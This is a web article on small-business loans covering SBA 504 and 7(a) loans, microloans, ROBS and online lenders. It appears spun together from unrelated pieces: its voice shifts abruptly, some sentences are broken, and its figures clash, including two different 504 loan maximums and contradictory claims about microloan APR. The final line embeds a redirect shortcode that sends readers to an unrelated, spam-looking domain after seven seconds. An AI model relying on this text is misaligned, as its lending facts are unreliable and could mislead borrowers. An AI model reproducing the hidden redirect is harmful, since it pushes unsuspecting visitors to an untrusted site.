Microloans and personal loans are good options to finance your inventory and daily expenses if you’re an established business but make less than $25,000 in revenue. Microloans through nonprofits and the SBA usually have low APR and manageable payment terms, but you’d have to deal with stringent requirements. Personal loans are easier to access, but the APR can be higher than with microloans.
The CDC / SBA 504 loan program is designed to get affordable, long term loans to small businesses looking to buy or build facilities to operate out of as well as outfit those facilities with heavy equipment with long lifespans.
This is the type of loan that provides small businesses with long-term, fixed rate funding to buy generally real estate or machinery or equipment for expansion or modernization. A private lender must agree to cover up to 50 percent of the loan. Meanwhile, a Certified Development Company, which is one of hundreds of private, nonprofit corporations designed to help economic development, picks up 40 percent of the loan. The borrower must contribute at least 10 percent equity. “This loan involves a major capital acquisition for machinery, equipment, and/or real estate,” Cruz says. “A business may want to move out of rental space and buy a small building and this is the loan for them. They have to have 51 percent occupancy. You could not buy the building and occupy only 1 percent.” The SBA’s maximum debenture is $1.5 million when companies agree to job creation or community development goals. In general, businesses are required to create or retain one job for every $65,000 funded by the SBA — although small manufacturers have a $100,000 job retention or creation requirement. That SBA contribution can go up to $2 million ($4 million for small manufacturers) if public policy goals are met, including revitalization of a business district, export expansion, minority business develop, rural development, among other goals.
Look carefully at your business’s financials — especially cash flow — and evaluate how much you can reasonably afford to apply toward loan repayments each month. Some online lenders require daily or twice-monthly repayments, so factor that into the equation if that’s the case.
Government small business loans help put your own business within reach. First there’s the quest for a decent location, then comes building a customer base, followed by all the initial hiccups of generating a cash flow before your business grows roots and gains momentum. The beginning of a business is crucial because it’s when you gain or lose market credibility. If you disappoint your customers, they may not give you a second chance. If your business gets off to a rocky start (most do), and you believe you can recover but need further financing to make this happen, you can apply for government small business loans.
Because your personal credit score is in the 600s, you may qualify for a line of credit from BlueVine or OnDeck to help meet daily expenses and maintain inventory. OnDeck offers a higher credit limit and lower APRs than BlueVine. For businesses with at least nine months in operation and $75,000 in annual revenue, OnDeck is a good option. If you have less time in business and less revenue, consider BlueVine.
Still, low annual percentage rates make the SBA program one of the smartest ways to fund your company. With some know-how and preparation, you may be able to some of the lowest business financing available. And if you don’t qualify for an SBA loan, there are other faster, more accessible ways to borrow money.
Most 504 loans are structured as follows: a nonprofit organization called a “Certified Development Company” (sanctioned by the SBA) will work in tandem with your lender and provide up to 40% of the project funding. Meanwhile, a traditional lender, like a bank or credit union, provides at least 50% of the financing. The process is slightly more complicated than other forms of financing since there are two participating lenders who must collaborate. The maximum 504 loan can be for $5 million, meaning that project funding can total up to $12,500,000 (or higher if the senior lender agrees to contributing over 50%).
A ROBS is a way to use your 401k or IRA to fund your business. It helps you invest your current deferred retirement account savings into your new company’s 401k plan, which uses the money to buy shares in your business. The business can then use those funds for any business related expense, which can include startup costs.
Alternatively, you can also apply for your small business loans online when using lenders like BFS. This can make obtaining the capital you need even more convenient, no matter when you have time in your day or week to apply.
Microlenders are nonprofits that typically lend short-term loans of less than $35,000. The APR on these loans is typically higher than that of bank loans. The application may require a detailed business plan and financial statements, as well as a description of what the loan will be used for, making it a lengthy process. Also, the size of the loans is, by definition, “micro.” But these loans may work well for smaller companies or startups that can’t qualify for traditional bank loans, due to a limited operating history, poor personal credit or a lack of collateral.
Microlenders and nonprofit lenders can be a less difficult route, especially if you have shaky finances. Many focus on minority or traditionally disadvantaged small-business owners, as well as small businesses in communities that are struggling economically.
Employee cards that allow you to restrict what the card can be used for (gas, office supplies, etc.) mean more independence for trusted employees, less busy-work approving purchases for you, and more rewards for your business.
The Cato Institute has challenged the justification of the federal government in intervening in credit markets. Among other criticisms, Cato argues that “the SBA benefits a relatively tiny number of small businesses at the expense of the vast majority of small business that do not receive government assistance. SBA subsidies also represent a form of corporate welfare for the banking industry.” Cato notes that the failure rate of all SBA loans from 2001 to 2010 is 19.4%, contributing to a cost to taxpayers of $6.2 billion in 2011.
Since your business has steady revenue and has been operating for more than a year, consider OnDeck and Kabbage. If your personal credit score is at least 500, OnDeck offers term loans up to $500,000, which is an attractive option for large expansion projects or buying expensive equipment. If you’re looking for short-term financing or need a smaller amount, consider Kabbage, which does not require a minimum credit score. Kabbage offers only six- or 12-month financing of up to $250,000 at high borrowing costs.
Our recommend SBA loan provider is SmartBiz. They offer SBA 7(a) up to $350k. If you have been in business 2+ years, are profitable, and have a credit score above 680, you can prequalify online in just a few minutes.
Is your business growing at a rapid pace? Then it might be time to expand your business! Whether this means increasing your space or your product and service options, many business owners use their loan for expansion projects.
The lack of a credit history, collateral or the inability to secure a loan through a bank doesn’t mean no one will lend to you. One option would be to apply for a microloan, a small business loan ranging from $500 to $35,000. Microloans are often so small that commercial banks can’t be bothered lending the funds. Instead of a bank, you need to turn to a microlender. a non-profit organization that works differently than banks. Microlenders offer smaller loan sizes, usually require less documentation than banks, and often apply more flexible underwriting criteria. There are a few hundred microlenders throughout the U.S. and they often charge slightly higher interest rates for loans than banks. “Microloans are really for that startup entrepreneur or an entrepreneur in an existing business facing a capital gap who needs to secure capital for new equipment or to service a contract,” says Connie Evans, president and CEO of AEO, which represents 400 mostly non-profit microlenders and microenterprise organizations. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]